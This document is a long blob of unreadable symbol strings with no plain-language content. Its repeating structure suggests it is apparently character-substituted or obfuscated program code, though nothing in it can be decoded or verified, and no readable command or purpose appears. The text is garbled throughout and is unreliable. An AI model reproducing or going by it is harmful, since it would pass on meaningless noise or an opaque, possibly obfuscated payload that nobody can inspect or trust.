GHS@7:R^^^^ZNNLFHR^^^J	VONFKWR^^^ZH	FMWEt^^VZG!NM	W^t^ZLJ%#^^^C^^^^ZGLFG^P^^^ZOMO!^P^KO	VONFJW^^P^^ZOMO!^^^P^^ZNMOM^^^P^ZOMO!^^^^P^ZLML
KO^^^P^^^ZOMO!^^^P^ZNNLFH^^^P^ZOMO!^^P^ZG!NM	^P^^ZOMO!^P^^^GHNVONFHWVZHH!
GHS@7:R^^ZNNLFHR^^^Z!HO!HR^ZH	FMWEt^t^^^^^ZJKG%ZHH!
GHS@!#^C^^ZLJEt^^^^tt^ZONL
MK%ZKHFF!#^C^^ZNNLFHEt^^^^ZHI
G	^C^^
Et^ZUUEt^^^^^^^^t^VZHI
G	^^^^XX^^MHFKVONKFWVMHFKVFGFWWW^^^t^>
!
VZLMGHJR^ZONL
MKR^^KO	VFGGWWEt^^^t^^^^^^^
^^^V*	^^ZMN!W^^^tt^!LNLVGHNVONFIWR^^^^ZMN!WEt^^^^^^^^^^^^
^V;
^^^^^ZMN!W^t^^^^^^^t^!
VJ	VONIMWR^^ZJ
R^^NWEtt^^^^^^^
^^^^ZJKGEt^^^^^^^^t
^K
MMVZ!LWtt^^^ttt^^^^VGHNVONLHWVZ!LWW^^
^Z!LEt^^^^VMHFKVONOFWVZ!LW^^^XX^^^
VZ!L%YY#W^XX^GHNVONLHWVZ!L%YY#WW^^
^Z!L%YY#EZJMKOCONTMEZG
CZJMKOSLLEt^^
^\\Et^t^
^^HH!IVZ	!!KMIFMNWt^tZ
^^C^^^^VWEtttt^^^^^^^^ZM!I^^C^^V
W^GMGHNGVGHNVONFFWR^^^\\WEt^ZK!!LHI^^^^C^^^^V
W^GMGHNGVMHFKVONFGWR^\\WEt^^^VZM!I^^^^_CC^^^\\^^^XX^^^ZK!!LHI^^^^^^_CC^^^\\W^^^^^tZ
%ZM!I#^^^^C^^^^^^ZK!!LHIEt^t^^^Z!
KH^^^^^C^^GMGHNGVJ	VHOFWR^^^^^VWWEt^^^^^^VKO	VONGNWVZ!
KHWW^t^^^^^^VZ!
KH^^^ZI^^C@^^Z

NGLNOW^^^^^t^^^^^^^ZHKHJHF^^^^C^^^^K
MMVZ

NGLNOWEt^^^^VZHKHJHF^_CC^\\W^^Z
%V
W^ZI#^C^^^ZHKHJHFEt^^t^t
^Z
Ettt
^^^^^^FIMKJIJMOVZIR^^^^^Z
MJHR^^ZJN!!Wt^t^^^^
^tQQ^
^^
tttt^^^^^^^^^^^V_^MHFKVONIWVZIW^^^^_^^^^^^M!VONGOWVZIR^^^^^MHFKVONGLWWW^^^ttt^
^^^ZIEtt^^^^^^^^^^^^V_^^^^ZIS@!VM!VFMFWWW^^^^tQT^
^^TQtt
^^^^^ZIEt^tQQ^>^Stt^^^^V_^^^MHFKVONLHWVZJN!!W^^^_^ZJN!!W^t
^^^ZIEt^^^^t^^^^^Z!
KH^C^GMGHNGVJ	VHOFWR^^^VWWEt^^V_^^M!VONGNWVZ!
KHWW^^^^t^Z!
KH^^C^VWEtt^^^^VZ!
KH^^^^^^^Z!NJLK^C@^^^^^^ZLN	MFFLW^^tZ	LLFH^^C^^J	VONGNWVZLN	MFFLW^XX^
VZLN	MFFL%J	VHLLW#W^^^^^^A^^^V
W^^^^^^ZLN	MFFL%M!VHLLW#^D^^^NEtttt^^^VZ	LLFH^^XX^^Z	LLFH^^^B^^^J	VONGMWVW^^^S^^^VIIIKGKFUJLWW^^
VZ!
KH%Z!NJLK#WEtt^^^Z!
KH%ZIS@!#^^^^C^^VYY^^^^^C@^ZJN!!R^KO	VHLLW^^C@^^^^M!VONGMWVWR^MHFKVHLNW^C@^NWEtttt^^^FOGJMVGHNVHOFWR^^Z!
KHR^KO	VFGGWWEt^^^
^^^^^V*	^^ZMN!W^^^tt^!LNLVMHFKVONGJWR^^ZMN!WEt^
^^^^V;
^ZMN!W^t^tt^
^^ZIEt^t^^^
^^^^^J
KKL
FLVZHHO!R^^ZIWtt^t^
^^^t^^^^^V_KO	VONLHWVZHHO!W^^^ZHHO!^CCC^\\W^^
Et^^Z!
KH^^C^GMGHNGVKO	VHOFWR^VWWEt^^^^V_M!VONGNWVZ!
KHW^^^^^^^_
VZ!
KH%ZHHO!#WW^^^
Et^^^^ZMN!^^^^^C^^^Z!
KH%ZHHO!#Et^^^^VGHNVONGNWVZMN!W^^^^^^XX^
VZMN!%MHFKVHLNW#WW^t^^Z!
KH%ZHHO!#%J	VONGKW#^^^C^^OEZKOCOFTMEZLCZKOSLEtt^FOGJMVJ	VHOFWR^Z!
KHR^^GHNVFGGWWEt^t^
^^V*	^^ZFLLGIILO!W^^^^^t^^!LNLVMHFKVONGHWR^^^ZFLLGIILO!WEt^^^^
^^^V;
^ZFLLGIILO!W^tt^^^ttt^
^^OMJ	VZ	!!KMIFMNWt^t^^^^V_^^^J	VONGNWVZ	!!KMIFMNWW^^^t^^^^^
^^^^Ettt^ZKLJMG^^^^C^^NN
KF	
OVWEt^^^^^VZ	!!KMIFMN^^^^^ZHH!
GHW^^^^^t^^^^VZKLJMG^^^^^^^^ZNJ
J!W^t^^^^^VM!VFNWVMHFKVONGIW^^P^^^M!VONGFWVZNJ
J!R^^^^^YQYW^^^^P^MHFKVONGGWR^ZHH!
GHS@!WW^^^t^
^ZHH!
GHEt^tttt^^^^^^t^t
^^Et^t^^^^^^
^K!NGJ	VZNNMHKR^^ZKNNONWttt^tQQ^^S^^=^
tt^^^^^
^^MHFKVOONNWVMHFKVONJNWVZNNMHKWR^^^^NR^^^ZKNNONWEt^^^t
^^^FO
JVZHO		Wt^^^^t^^^^^V_MHFKVONLHWVZHO		W^^ZHO		^^^^CCC^^\\^^^^_VMHFKVGLJWWW^^^^
^Et^^^

^^^ZF	FM!G^^C^^Et^^^^^^^^^^VZF	FM!G^^CCC^W^^^^^ttt^^^^^ZF	FM!G^C^^VttttK!NGJ	V?<-.?*6^^^P^KO	VOONOWR^^VNLUNHWW^^^P^^^MHFKVGJFWRt^^^K!NGJ	V?<-.?*6^P^MHFKVOONLWR^^VKUMWW^^^P^^KO	VGJFWRt^^^WEt^t^^VZF	FM!G^^^^^^^ZKW^^^^tt^^^^^^VMHFKVOONMWVZHO		R^ZKW^^^^_CC^W^
^^^
Et^^^^^t
^Etttt^^t^
^	IJLVZKNNONWtt^^^^^^t
^^K!NGJ	VVV
W^^KO	VOONJWVWR^^^
WR^^ZKNNONWEt^^^t^^^^^^
^FIMIVZNOG!MNOWt^^t^^^^^^^^^^^^V_MHFKVONKFWVKO	VFGLWWW^^
^^Et^^^ZI	G^^^C^
!
VM!VOONKWR^^^VWWEZMC.6.!70*!3?&Q.6.!70*!3?&EZ!FOCZMULHEtttt^^V_KO	VONGNWVZI	GWW^^^^
^^^^Et^^ZMHH!	^^C^^MHFKVONJNWVZNOG!MNOWEt^^^^^^^^V
VZI	G%ZMHH!	#WW^^^
^^^Et^^^^^ZHKHJHF^^^C^^^^J	VGGWVYYR^^^^^^V
W^ZI	G%ZMHH!	#WEt^^^Z
NF^^C^^^^
VZHKHJHF%O#W^A^^V
W^ZHKHJHF%O#^^^^D^^NEt^^
^VZ
NF^@^^N^^XX^^^^M!VOONHWVW^S^^Z
NF^^^B^^VMMMKKUKMNJKWWEt^^t^^
^^LHFLJVZNOG!MNOR^^ZMOGMWt^^^^^t^^V_J	VONKFWVKO	VFGLWW^^^^_M!VONKFWVJ	VFGFWWW^^^
Et^ZI	G^^^C^
!
VJ	VOONKWR^^^^^VWWEttt^^^^^^^V_MHFKVONGNWVZI	GWW^^ZI	G^C^VWEt^^^^ZMHH!	^^^^C^^^MHFKVONJNWVZNOG!MNOWEt^^^^^V_ZMOGMW^^^^^t^^^^^^^^V
VZI	G%ZMHH!	#WW^t^
VZI	G%ZMHH!	#WEtttt
!
VMHFKVOONKWR^^^ZI	GWEtt^^
EtttZ!!KFIHI!LH^C^^^^NEt^^^^V_
VZI	G%ZMHH!	#WW^^t^ZHKHJHF^^^^C^^^^GHNVGGWVYYR^^^^^V
W^ZI	G%ZMHH!	#WEtZ!!KFIHI!LH^C^V
W^^ZHKHJHF%N#Et^^tttt^^^Z!!KFIHI!LHUUEt^Z
NF^C^^^^VZ!!KFIHI!LH^^@C^VOULWW^^^^^^A^J	VOONHWVW^D^^NEtt^^^^^VZI	G^^^^Z	N!L^^C@^Z	KK
FW^^t^^^ZHO		^C^J	VGGWVYYR^^^V
W^Z	KK
FWEt^^^^^^^V_
VZHO		%O#W^XX^^^^^GHNVOONHWVW^^^^^^S^^^^V
W^ZHO		%O#^^@^VOILILMUIIWW^
VZI	G%Z	N!L#WEtt^ZI	G%ZMHH!	#^^^^C^^Z!!KFIHI!LH^^^P^^YY^^P^Z
NFEt^^
!
VKO	VOONKWR^^ZI	GWEt^tttt^
^^LF!LJ
VZNOG!MNOR^^^ZOOJOWt^^^^ttt^^V_GHNVONLHWVZOOJOWW^^^
EtZF	
^C^^NHGINGFOVM!VONLFWVZNOG!MNOWR^J	VOONIWWEt^^VZF	
^^_CC^^^W^t^^^^^^^^V>MHFKVLONWVZF	
R^^ZOOJOW^^^^CCC^^^^^KO	VONMIWVZOOJOW^^XX^HOMFHJVZF	
R^^ZNOG!MNOWW^^^^
Et^^^^^^OM	VZF	
WEttt^t^>GHNVLONWVZNOG!MNOR^ZOOJOWEt^^t^^^^^^
^^^^^GGLJO!MOVZNOG!MNOR^ZJMWt^Z	H	CGMOFEZFL!CZ	H	[LEt^^^^Z	G	
LLF^C^^^^^GHNVONLFWVZNOG!MNOWEt^^^^^V_>KO	VONMLWVZ	G	
LLFWW^^^^t!LNLVJ	VOONFWR^KO	VOONGW^^P^KO	VGGOWVZNOG!MNOWWEt^^^^^^
^Et^tQQ^^
tt^^^^ZNOMLF^^C^VMHFKVOONNWVZNOG!MNOR^SVNMUNOWW^^CCC^^^J	VGJFWWEt^^VZNOMLF^^^XX^^^_JKOOFVZJMWW^^^t^^!LNLVJ	VOONFWR^^GHNVOOONW^^P^J	VGGOWVZNOG!MNOWWEt^^^^
^^^^^Ett^VZNOMLF^XX^^FIMIVZNOG!MNOWW^
^^^^^EtZLO	GLOKLJ^C^^Ettt^^^^^^^^^^^V>GHNVFLNWVZNOG!MNOWW^^^^^^ZLO	GLOKLJ^^^C^
EZ!LC.6.!3?41,!(;,-710EZNNCZ!LTKE^^^^^t^^^ZOOJO^^C^^^^Et^^ZIN
HJ	O^C^Ettt^^^Z!
K^^C^^^^Et^^^^^V>MHFKVOOOOWVZNOG!MNOW^^^XX^_>M!VFLNWVZNOG!MNOWW^^ttZIN
HJ	O^C^^^^
Et^Z!
K^^C^>VZNOG!MNOWEt^VZ!
K^^^^CCC^^W^^Z!
K^^^C^Et^^^^^V>MHFKVONLJWVZNOG!MNOW^BC^^^VLFKNGOFJULMGOGHOHWW^^ZOOJO^C^^^>M!VGLGWVZNOG!MNOWEt^t^^^^^^V_KO	VOOOLWVM!VLFWWW^^^Z!LFKHCVNLUNIWEZLI!CZ!LFKH[GEt^!LNLVKO	VOONFWR^^MHFKVOOOMW^^^P^J	VGGOWVZNOG!MNOWWEt^
^^^^EtttZLFMI^^^^C^Et^^^^^ZJNH	H!L^^C^^^Et^Z!^^^^^^C^^J	VONMIWVZJMWEt^^^^^^VZFIG^C^^NE^ZFIG^^B^^LE^ZFIGUUW^^^^^t^^ZLFMI^^C^^NHGINGFOVZ	G	
LLFR^KO	VFKLWWEttt^^^^^^^^^VZLFMI^^^^_CC^^W^^^^t^ZJNH	H!L^^^^C^EtZHO		^^C^>J	VOOJWVZLFMIR^^^^M!VOOOJWWEt^^^^^VZHO		^^_CC^^^^^W^tQQ^
^
S^

tt^Z
KGOK^^C^^^^NEt	^^VZ
KGOK^B^Z!W^^tttt^^ZMI^^^C^^^>GHNVOOOKWVZHO		R^^M!VOONNWVZJMR^Z
KGOKWWEt^VZMI^CCC^^^^^^ZMI^^CCC^^^NW^EtZ
KGOK^^^^UC^^ZMIEtttt^tttt>VZHO		WEt^^VM!VOOOLWVJ	VOOOHWWW^^^^^^>VZHO		WEt^^^^>VZHO		WEt^^^VZ
KGOK^^CCC^Z!W^^^^ZJNH	H!L^^^^C^Z
KGOKEt^^^^^^^^^tZJNH	H!L^^C^^^>KO	VLONWVZLFMIR^^ZJMWEt^^tt^^^VZJNH	H!L^^_CC^^^^^XX^^^ZJNH	H!L^^^^CCC^Z!W^Et^^^^^OM	VZLFMIWEt^^^^ZLFMI^^^^^^C^Et^^^^^^t^t^^^^VZLFMI^CCC^^W^tttt^^^!LNLVJ	VOOOIWR^^^M!VOOOFW^^P^^^^M!VOOOGWVZNOG!MNOWWEt^
^^^^^Ett^^^^^VZJNH	H!L^^^^CCC^^^^^^^^^^^ZJNH	H!L^^^_CC^Z!W^t^^!LNLVM!VOOOIWR^^GHNVOOLNW^P^J	VOOOGWVZNOG!MNOWWEttOM	VZLFMIWEt^^
^Et^^^^^^t^^^^^^^^^^^VZ!
K^^_CC^W^^>GHNVOHMWVZLFMIR^^Z!
K^X^^^VNFUNOIOWWEt^^Z
ILIO!^C^^^^^^HOMFHJVZLFMIR^^^^ZNOG!MNOWEt^^^^^^V_Z
ILIO!^^^XX^ZIN
HJ	O^^XX^^^^^_ZLO	GLOKLJW^^^t^^^^^V>GHNVOOOOWVZNOG!MNOWW^^MIFJHVZNOG!MNOR^^^VLMHUOFJWWEtZOLH^^^^^C^ZNOG!MNO^^P^GHNVOOLOW^^^P^^^M!VOONJWVVGONUGNWR^^VGGKJUJKWWEt^^^^^^^^^VHOMFHJVZNOG!MNOR^^ZOLHWW^t^Z
ILIO!^^C^^HOMFHJVZLFMIR^^^^ZNOG!MNOWEttt^^VZ
ILIO!W^^^t^^^OM	VZOLHWEt^^^^^t^^^^^^V_HOMFHJVZOLHR^ZNOG!MNOW^^^^XX^^_IM!OHJVZOLHR^^ZNOG!MNOWW^^^^t^^^^LF!LJ
VZNOG!MNOR^^ZOOJOWEt^^^t^^^V_>M!VOOLLWVZNOG!MNOWW^^^^^^tLF!LJ
VZNOG!MNOR^^^^ZOOJOWEttttt^^^^^^^ttt^ttt^^^^t^^^^^^V_Z
ILIO!^^^^^^XX^_ZLO	GLOKLJ^^^XX^^_ZNOMLFW^tttt^^^V>MHFKVOOLLWVZNOG!MNOWW^^MIFJHVZNOG!MNOR^^^VMNFUOOLWWEt^^^^^^^^VIM!OHJVZLFMIR^^ZNOG!MNOWW^^^t^^Z
ILIO!^C^^
EtOM	VZLFMIWEt^tttt^^^^^t^^^^^^^V_Z
ILIO!W^tQQ^).^7<.^

^
tt^^^^^V>J	VOOLLWVZNOG!MNOW^^XX^^^^^V
W^^^^>KO	VOOLMWVZNOG!MNOW^^^^^_CC^Z!W^^^t^Z!LN^^^^C^^>J	VGLGWVZNOG!MNOWEt^V_J	VOOLJWVZ!LNW^^^VJ	VOOLJWVZOOJOW^^^^^XX^^Z!LN^_CC^^ZOOJOWW^t^^^^^VJ	VOOLKWVZOOJOWW^^LF!LJ
VZNOG!MNOR^^^^ZOOJOWEt^^^^V_ZIN
HJ	OW^OM	VZNOG!MNOWEtt^^
VZ!LNWEtt^t^^^^^^^^^^V_>M!VOOLLWVZNOG!MNOWW^^t^^^^^^^^LF!LJ
VZNOG!MNOR^^^^^^ZOOJOWEttQQ^
^tt^^^^^^!LNLVM!VOOOIWR^^^GHNVOOLHW^^P^^^^^KO	VOOOGWVZNOG!MNOWWEtOM	VZLFMIWEt^^^^^^
^^^^Et^^tQQ^^
tt^^^^^^>

V
R^^^^^^ZNOG!MNOWEt^^^ZG^^C^^^Et^^VZ!^^^^^^BC^^^^^VLNGINHLUGNWW^^^t^Z	G	!JO^^C^^^>GHNVOOLIWVZNOG!MNOWEtttt^ZG^^^^C^VGHNVOOLKWVZ	G	!JOW^XX^^^^^MHFKVONMIWVZ	G	!JOW^^CCC^^^Z!^^XX^^M!VONJNWVZ	G	!JOW^^^^^CCC^^^^GHNVOOLFWVZJMWWEt^^^^^^t^^^ZNI	FH^^C^J	VOOLGWVM!VOOMNWW^^A^^^^^>!VM!VOOLFWR^ZNOG!MNOW^D^^Et^^^^VJ	VOOMOWVZNI	FHW^XX^^^^^^ZNI	FH^_CC^^\\W^^ZG^^C^VZNI	FH^CCC^^^^^J	VOOMLWVZJMWWEt^^^t^^^Z!^^C^>KO	VOOLMWVZNOG!MNOWEt^^VZ!^CCC^Z!W^^^tZHNH	L^C^>J	VOOLIWVZNOG!MNOR^^R^^R^^^^NR^VNFUNINJWWEt^^^^^Z!
^^C^>M!VOOLIWVZNOG!MNOR^R^^^^^R^^^^Z!^S^^^VNFUNKFWWEtZG^^^C^VJ	VOOMOWVZHNH	LW^XX^KO	VOOMOWVZ!
W^^^XX^ZHNH	L^^^^CCC^^^KO	VOOMMWVZJMR^^^^NR^^VJNHNUMHWW^XX^^^^Z!
^CCC^^^^^^J	VOOMMWVZJMR^^^^^Z!^^^^S^^^VJNNFUFFWWWEtttt^^^^t^^^^^^t^^^t^^^^^^V_ZGW^^t^^^!LNLVM!VOOOIWR^GHNVOOMJW^^P^KO	VOOOGWVZNOG!MNOWWEt^^^VZNOMLFW^^^^LHFLJVZNOG!MNOR^^^
WEt^^^^VM!VOOMOWVZOOJOWW^^^^t^^^^^ZGFF^^C^^^^GHNVOOMKWVGHNVOOMNWW^^A^^^^>!VMHFKVOOMLWR^^^^ZNOG!MNOW^D^Et^^^VJ	VOOMOWVZGFFW^XX^^^ZGFF^^_CC^^^^\\^^^XX^^^^^^ZGFF^^^_CC^GHNVOOMHWVZJMW^XX^^ZGFF^^_CC^^GHNVOOMHWVZOOJOWW^t^^!LNLVMHFKVOOOIWR^^^J	VOOMIW^P^^^^GHNVOOOGWVZNOG!MNOWWEt^^^^^^
^Et^^^t^^^^Z	KO^^C^^NHGINGFOVZ	G	
LLFR^^M!VFKLWWEt^^VZ	KO^_CC^^^^XX^>M!VLONWVZ	KOR^ZOOJOW^CCC^^GHNVONMIWVZOOJOWW^t^V_HOMFHJVZ	KOR^^ZNOG!MNOWW^^t^^^^^^^^V>KO	VOOLLWVZNOG!MNOW^^^XX^^^_ZLO	GLOKLJW^^MIFJHVZNOG!MNOR^VNKNUNOKJWWEt^^^^V_ZLO	GLOKLJ^^XX^^IM!OHJVZ	KOR^ZNOG!MNOWW^^^tOM	VZ	KOWEt^^^^^^^^^t^>GHNVLONWVZNOG!MNOR^ZOOJOWEtttt^^^OM	VZ	KOWEt^^^t^^^^tttt^^^^^^^^^^^^^^^t^^^VZ	KO^_CC^W^OM	VZ	KOWEt^^^>J	VLONWVZNOG!MNOR^^ZOOJOWEt^^^tttt^^^^^			!OLJKIVZNOG!MNOWEt^^^^^^^^V_ZIN
HJ	OW^^^^^^ZN
	INICFKUGIEZ
!ILCZN
	INISLEt^OM	VZNOG!MNOWEt^t^^
^Ett^			!OLJKIVZNOG!MNOWEt^^FKKL!VZNOG!MNOWEt^^^MIFJHVZNOG!MNOR^^^VLOJULNHWWEtt^^^^VZNOMLFW^^LHFLJVZNOG!MNOR^WEt^^^
^^^^^^
Etttt^^^^^^^
^^^^^^J	OG
VZNOG!MNOR^^ZIWt^^t^^^^^Z
JGO^C^^\BA"\EZKOCGLTMEZLLICZKOSMJEt^^VMHFKVOOMFWVZIW^^^^^^XX^^^ZI^^^^_CC^^\\^XX^MHFKVOONMWVZIR^GHNVLKKWW^^_CC^^^^^^^XX^^^JKOOFVZIWW^^Z
JGO^C^^ZIEt^^^^^^V>KO	VOOMGWVZNOG!MNOWW^t^ZGFFL^^^C^^^^^>MHFKVOOLIWVZNOG!MNOWEt^^^VKO	VOOMFWVZGFFLW^^^XX^!ML!JNGNVZGFFLW^CCC^Z
JGOW^^
Et^t^^^^V_GGLJO!MOVZNOG!MNOR^Z
JGOWW^^tQQ^

^
tt^^^^^Z
GOK^^^^C^^^>J	VOOLIWVZNOG!MNOWEtttt^^^^^^^^^V_VGHNVOOMFWVZ
GOKW^XX^^!ML!JNGNVZ
GOKW^^^^CCC^Z
JGOWW^^>KO	VLONWVZNOG!MNOR^^Z
JGOWEt^^^^^
VZ
GOKWEttt^^^^^^^t			!OLJKIVZNOG!MNOWEt^^^t
^J	!IVWttt^^^^^VM!VOOMKWVGHNVOOJNWW^^^^^XX^^^^MJ	
	KFHVWW^
^
Et^^^^^^^^V_GHNVOOMKWVGHNVOOJOWW^^^^_M!VOOJLWVMHFKVGNKWWW^
^^
Et^ZK	!
!^^^^^^C^!VYQYWEt^ZK	!
!^^^PC^^^VJ	VOONMWVZK	!
!R^^^YAYW^^^^CCC^^^A^^^^YAY^D^^YXYW^^P^^^MHFKVOOJMW^P^^^J	VOOJJWVW^^^P^^^^KO	VOONJWVVFOUOGWR^^^VGJIUKLWWEtttt^^ZJGKFGKM^^C^^^GHNVOOJKWVZK	!
!R^VM!VGNHW^^^^^^C@^VNOUNIWR^^^^KO	VOOJHW^^C@^^^R^^^GHNVIFMW^^C@^LR^M!VMMOW^^^C@^^^VMHFKVOOJIW^^^C@^KO	VOOJFWWWWEttt^^VMHFKVOOJLWVMHFKVOOJGWW^XX^^^^!	!VZJGKFGKMWW^^t^^VJ	VOOJLWVGHNVIGOWWW^MHFKVIGOWVOWEtZJGKFGKM^^^^^^C^^^^MHFKVOOKNWVZK	!
!R^^VM!VGNHW^^^^C@^^^VNOUNIWR^^^^M!VOOKOW^^C@^^^^R^^^^^KO	VOOKLW^^C@^^^LR^^^M!VMMOW^^C@^VGHNVOOJIW^^^^C@^^^^^^J	VOOJFWWWWEt^^^^VM!VOOJLWVJ	VOOJGWW^^^^^XX^^!	!VZJGKFGKMWW^^
^^^^Et^^^^^^^tQQ^).^(^<D^

S^
tt^Z	HM^^^^C^V
W^^	!
!
!!VZJGKFGKMWEt^
^Z	HM^@C^VNOLUNKLW^^^XX^^^^^Z	HM^^^^^B^^^^VJKIUJMWEt^^t^
^^^^^	NGVZ!HH

		R^^^ZMKLWt^^^^t^ZFGN!^C^^^KO	VONGFWVM!VOOKMWVZMKLWR^^^YQYWEt^^^Vttt^Vt^^J	VOOKJW^^^^P^^ZFGN!^^P^^^KO	VOOKKWRttttKO	VOOKHW^^^P^ZFGN!^P^^KO	VOOKKWRt^^^^J	VOOKIW^^^^^P^ZFGN!^P^^J	VOOKFWRtW^^^^^ZG!GGOt^^^W^^^^^tQQ^^
^
tt^^^^V_GHNVOOMFWVZ!HH

		WW^^Etttt^^^^^^Z!HH

		^^C^^GHNVOOKGWVZG!GGOR^^^^\"\R^Z!HH

		WEt^^^^^t^^^
^^^^Z!HH

		EZJCSLIMEZ

OJCVZJ@NWAZJDSZJEtt
^			!OLJKIVZ!	Wt^^^t^^^^^^VKO	VOOHNWVMHFKVOHHWWW^^^^t
^^>!
VZ!	R^^
W^^^^_CC^^^Et^tttZJI	NNF
^C^^KO	VOOHNWVM!VOOHOWW^^^A^>!
!

VW^^^D^^^Etttt^^^
^^_VM!VONGNWVZJI	NNF
W^^XX^_
VZJI	NNF
%J	VOOHLW#WWEtt^^
^HLKMH	KVZNOG!MNOR^^^^Z
HR^^^ZGFNJWtt^^VGHNVOOHMWVZNOG!MNOR^SVOLH OLLWW^CCC^M!VGJFWW^^^^t^^V_GGLJO!MOVZNOG!MNOR^^^^Z
HWW^^^^t^^^^^!LNLVZGFNJR^^^J	VOOHJW^P^M!VOOHKWVZNOG!MNOWWEt^
^^Et^t^^			!OLJKIVZNOG!MNOWEt^^^
^MHFKVONMIWVZ
HWEt^^tQQ^).^-^<D^^

tt^ZHO		^^^^C^>MHFKVOOJWVZNOG!MNOR^^^GHNVOOOJWWEttt^^^VZHO		^^^^^^CCC^^^^^W^^^^t^!LNLVZGFNJR^^^^GHNVOOHJW^^^P^M!VOOHKWVZNOG!MNOWWEt^^
^Et^^^^t^^^^^^^^VKO	VOOHHWVJ	VOOHIWWW^^^>VZHO		R^^21=5!;&WEtZJGKFGKM^^^C^^^^>GHNVOOHFWVZHO		R^Z
HWEt^^^^^^^VJ	VOOHHWVGHNVOOHIWWW^^>VZHO		R^^^^21=5!+0WEt^^>VZHO		WEt^^^^^VZJGKFGKM^^CCC^^^^^^^VZ
H^^^_CC^^^\\^^XX^^ZJGKFGKM^_CC^^^^J	VOOHGWVZ
HWWW^^^^^^t^^^^^^^^!LNLVZGFNJR^J	VOOINW^P^J	VOOHKWVZNOG!MNOWWEt^^^^
^Et^t^^^^^^^
^^ZJGKFGKMEt^^t^^^^^^ttt^^^^^^
^^^J!		G!
VWt^^t^^^
^t^^^^V_M!VOOHHWVGHNVKLFWW^^^^^^^^_GHNVOOHHWVMHFKVONMOWWW^^t^^^^^^	NJNLI
	VWEttt^^
EZIGG
LC.6.!70*!3?&Q.6.!70*!3?&EZNNNGCZIGG
LUKKEt^^^^t^^^V
!

VM!VOOIOWWW^
Et^^^V
!

VGHNVOOILWWW^^
Et^
!

VMHFKVOOILWR^^^^OR^^VKGMUIWWEt^^^^^	NJNLI
	VWEt^^^^^^^^^^VGHNVOOHHWVGHNVGNOWWW^^
!

VKO	VOOILWWEt^^ZM!I^^C^^^KO	VOOHHWVMHFKVFGLWW^^A^^V
W^^^GMGHNGVJ	VONFFWR^^^\\W^D^\\Et^^VZM!I^^^_CC^^^^\\^^^^XX^^^GHNVOOHHWVKO	VOOIMWW^XX^^!
VZM!IWW^t^
!

VKO	VOOIJWR^^^OR^^^VNLKLNUNLJNWWEt^^t^^
^V*	^^^ZMN!W^^^tt^!LNLVMHFKVOOIKWR^^^ZMN!WEt^^^^^
^V;
^^^ZMN!W^tt^t^^^
^^	NJNLI
	VZ	!!KMIFMNWt^t^^^V_
LJM!!VGHNVOOIHWWW^
Et^^
^^tttt^^^V_^^^^M!VOOHHWVKO	VFGLWW^^^^^^^^^^_^^^^GHNVOOIIWVJ	VOOIMWWW^^^^t^^^^^^
Et^^t^^^Z
MJH^^^^C^^^^V
W^^GMGHNGVMHFKVONFFWR^^^^\\WEt^^^VZ
MJH^^^^_CC^^^\\^^^XX^!
VZ
MJHW^^^^XX^^^^V
W^GMGHNGVM!VONFGWR^\\W^^_CC^^^\\W^^^t^^
Ett^^VZ
MJH^^CCC^\\W^^^t^^^^^ZHKOMN^^^^^^C^^^GHNVOOIFWVZ	!!KMIFMNW^^^^^^A^^Z	!!KMIFMN^^^D^^^
L!KKKIVWEt^^^^^ZIH^C^OMJ	VZHKOMNWEt^^^^Vt^^^^^ZIH^XX^^_
VZIHS@!W^^^XX^^^^^
VZIHS@!Wtttt^XX^ZIHS@!^^CCC^ZIHS@!^^P^^Y>Y^P^FK!G!NVJ	VOOIGWWtttt^^W^^ttt^Z
MJH^^C^V
W^^^ZIHS@!Et^^^^ttQQ^^
S
^^).^;^<tt^^^^^^^VZ
MJH^^^^_CC^^\\^^XX^^^^^!
VZ
MJHWW^^t^ZM!N^^C^^^!
VZ
MJHWEtZJN!!^C^^^^	IJLVVMLSFWWEt^^VMHFKVOOIIWVJ	VOOFNWWW^t^^^^M!VOOFOWVZJN!!R^^ZM!NWEt^^t^FOGJMVGHNVONFFWR^^^Z
MJHR^M!VOOFLWWEt^^^^^FOGJMVGHNVONFGWR^^ZJN!!R^^M!VOOFMWWEt^^
Et^^t^ZKLJMG^^C^^NN
KF	
OVWEt^^^^^V
W^^^t^^^^Z
MJH^^^C^^\\Et^^^VZLJ	GFH^^C^^^NE^^^^ZLJ	GFH^B^^VNJUNOWE^ZLJ	GFHUUW^^^t^^^ZFIG^^^^C^^ZKLJMG%J	VOOFJWVZKLJMGW#^^P^	IJLVVLNSONWWEt^^^^^^V_!
VZFIGWW^ttttZ
MJH^C^^^ZFIGEttEt^^^^ttt^^VZ
MJH^CCC^\\W^^t!LNLVM!VOOFKWR^^^^^J	VOOFHWWEt^
Et^^tt^ZJN!!^C^^	IJLVVOHUFWWEt^^V_^KO	VOOIIWVMHFKVOOFIWW^^XX^^VGHNVOOFFWW^XX^^^M!VOOFGWV?<-.?*6^^^^^P^^KO	VOOGNWWW^^tt^^^^^!^^?<-.?*6^^P^^^^^J	VOOGNWEttt^^^tZ	LFI^^^C^Z
MJH^^P^Y>Y^^P^FK!G!NVJ	VOOIGWWEtZG^^^C^^^^^Et^^^^^^^^VJ	VOOIIWVGHNVOOFIWWW^t^^ZG^C^M!VOOFIWVVt^M!VOOGOW^C@^Z
MJHRt^^^^^^J	VOOGLW^^^^C@^^^ZJN!!RtMHFKVOOGMW^^^C@^^Z	LFIRtKO	VFMIW^^C@^M!VFMFWRt^KO	VOOGJW^C@^^^Z
MJHRt^^WWEt^^^V!	!VZGWW^t^^!LNLVGHNVOOGKWR^ZGS@
!!VW^^P^^^^YDY^P^^^^ZGS@
!!VWWEt^ZG^C^Et^^^^^^^t^t^^^V_ZGW^^t^^^^^^^Z	^^C^
VZ921<?2-%M!VONKOW#W^A^^^^Z921<?2-%KO	VONKOW#^D^Et^^^^V_Z	^^^_J	VONIWVZ	WW^^^^t^^^^^!LNLVMHFKVOOGHWR^^^^J	VOOGIWWEt^^^
Etttt^^^Z
I!K^^C^^GHNVOOIIWVMHFKVOOGFWW^A^^	!!	VZJN!!W^^D^^^^^GHNVOOMHWVZJN!!WEttZOJ^^^^C^^^KO	VOOIIWVJ	VOOGGWW^^^A^^^
!
VKO	VOLNNWW^^D^^^^
VKO	VOLNOWWEt^^^ZO!LIJG^C^Z	S@
VZ	S@R^^Vtttt^^^^^GHNVOOGOW^^C@^Z
MJHRttt^^KO	VOLNLW^^C@^^^^Z
I!KRttt^KO	VOLNMW^^^^^C@^Z
MJHRt^MHFKVOOGMW^^^^C@^^^^^Z	LFIRt^^KO	VOLNJW^C@^^^^^ZOJRtGHNVOLNKW^^^^^C@^^^^^NRt^^^^KO	VOOGJW^^^C@^^^^^^Z
